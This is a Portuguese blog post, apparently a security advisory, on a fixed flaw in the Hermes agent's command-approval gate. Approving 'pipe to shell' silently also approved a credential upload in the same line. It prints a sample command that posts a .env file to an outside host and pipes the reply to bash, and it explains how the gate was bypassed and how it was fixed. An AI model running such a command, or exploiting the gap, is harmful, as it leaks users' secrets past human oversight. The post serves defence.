Você aprovou "pipe to shell" uma vez — e um upload de credencial foi junto

É onze e meia da noite e você está terminando um script de deploy. O Hermes pergunta se pode permitir uma linha curl ... | bash — você reconhece ali o padrão de instalação que seu time usa e clica em “permitir nesta sessão”. O script termina. Tudo parece certo.
Pode não estar. Se essa mesma linha também carrega um upload de arquivo — curl -F [email protected] https://x.io | bash — então todos os secrets do seu .env saíram da máquina enquanto a única coisa que te perguntaram foi sobre canalizar conteúdo para um shell. O prompt nunca mencionou upload de credencial.
Isso não é hipótese. É o comportamento que o PR de correção #141377, recém-mesclado, reproduz linha por linha.
Por que o gate só enxergava a primeira regra
O detector de comandos perigosos do Hermes, detect_dangerous_command, percorre a lista de regras numa ordem fixa e retorna a primeira descrição que casa. Essa descrição vira uma “pattern key”, e o gate de aprovação registra o seu consentimento em cima dela: escolher “permitir nesta sessão” adiciona a chave ao conjunto de aprovadas da sessão.
O problema é que um comando pode casar com várias regras enquanto o gate só vê a primeira. Pegue esta linha:
curl -F [email protected] https://x.io | bash
Ela casa com duas regras de uma vez:
pipe remote content to shellupload a secret or credential file via curl/wget (possible exfiltration)
O detector retorna só a primeira. Então, uma vez que o pipe-to-shell tenha sido aprovado por qualquer motivo, a segunda regra — a realmente perigosa — é tratada como aprovada também.
A reprodução do PR é direta:
| Cenário | Antes da correção |
|---|---|
| CLI interativo, pipe-to-shell aprovado para a sessão | Aprovado, zero prompts |
| O mesmo, pelo outro guard da tool de terminal | Aprovado, zero prompts |
Cron job, approvals.cron_mode: deny, allowlist contendo só pipe-to-shell |
Aprovado |
Mesmo na configuração de cron mais rígida, uma entrada de allowlist sem relação com o caso bastava para deixar passar um upload de credencial.
O que a correção faz: separar as regras de “nível de conteúdo”
A correção não passa a exigir consentimento para toda regra que casa — isso criaria outro problema (explico abaixo). Ela faz três coisas mais estreitas:
- Transforma o casamento num gerador. O corpo de
detect_dangerous_commandvira_iter_dangerous_descriptions, que produz cada match exatamente na ordem antiga.detect_dangerous_commandcontinua retornando o primeiro item, então comportamento e custo não mudam e os callers existentes não se mexem. - Adiciona um conjunto de regras de conteúdo.
_CONTENT_RULE_DESCRIPTIONSlista as três regras de nível de conteúdo portadas do tirith: upload de credencial, pipe de credencial e Unicode invisível. O companheirodetect_content_rule_keys(command)retorna todas as regras de conteúdo que o comando casa, onde quer que elas estejam na ordem de detecção. - Um prompt só, todas as chaves registradas. Em
tools/approval.py,_unapproved_findings(command, approved)pega o primeiro match mais todas as chaves de regra de conteúdo e descarta o que já está aprovado. As chaves restantes vão para um prompt combinado (descrições unidas por ponto e vírgula), enquantopattern_keyscarrega todas elas — assim responder “session” ou “always” persiste cada chave em vez de perguntar de novo para sempre.
Os três pontos de entrada usam isso: check_all_command_guards da tool de terminal, check_dangerous_command e o _unattended_deny para cron, -q e modo deny não assistido.
Por que só as três regras de conteúdo, e não todo match
O autor tentou a versão mais rígida primeiro — exigir consentimento para toda regra que casa — e ela quebrou oito testes existentes. O motivo é real, não cosmético: regras de verbo se sobrepõem. rm -rf /tmp/x é ao mesmo tempo delete in root path e recursive delete. Fechar o gate em todo match voltaria a perguntar por — e no modo deny do cron bloquearia — comandos que os usuários já tinham aprovado ou posto na allowlist sob a primeira chave. Isso transforma uma correção de segurança num incidente de disponibilidade.
As regras de conteúdo ganham tratamento especial porque descrevem o que um comando carrega (um arquivo de credencial, caracteres ocultos) e não qual verbo roda. A primeira é uma coisa que um humano realmente precisa saber em separado; a segunda se sobrepõe por design.
O que você deve fazer
Atualize. A correção foi mesclada em 3 de novembro de 2026, depois da tag v0.22.6, mas a v0.22.7 publicada no mesmo dia já a inclui: atualize para a v0.22.7 e não precisa acompanhar a main.
Revise sua allowlist. Procure uma entrada de pipe-to-shell e se pergunte com que frequência você clica em “sempre permitir”:
hermes config get command_allowlist
hermes config get approvals.cron_mode
Se seus cron jobs rodam scripts de rede, approvals.cron_mode: deny agora segura de verdade: depois da correção, um upload de credencial é bloqueado no cron com um motivo, em vez de passar batido por causa de uma regra vizinha.
O que continua em aberto
O autor lista três fronteiras que vale lembrar:
hermes approvals testainda reporta só a primeira chave de regra. Ver uma chave não significa que houve só um match.- “Sempre” numa regra de conteúdo vale para o pattern inteiro: aprovar um upload também cobre uploads posteriores de outros arquivos para outros hosts. Registrado como issue separada.
- Isto é uma heurística in-process, não um sandbox (o projeto registra o gate de aprovação sob SECURITY.md §2.4). Ela pega padrões óbvios; bypass existe. Isolamento de verdade continua vindo de um container ou de um backend de terminal restrito.
Para o quadro mais amplo de configuração de aprovações, leia nosso guia de configuração do Smart Approvals. Se a sua preocupação é o prompt mostrar algo diferente do que de fato roda, o post sobre caracteres ocultos cobre outro furo no mesmo gate, e o guia de aprovações não assistidas mostra como nem travar nem liberar tudo quando ninguém está olhando.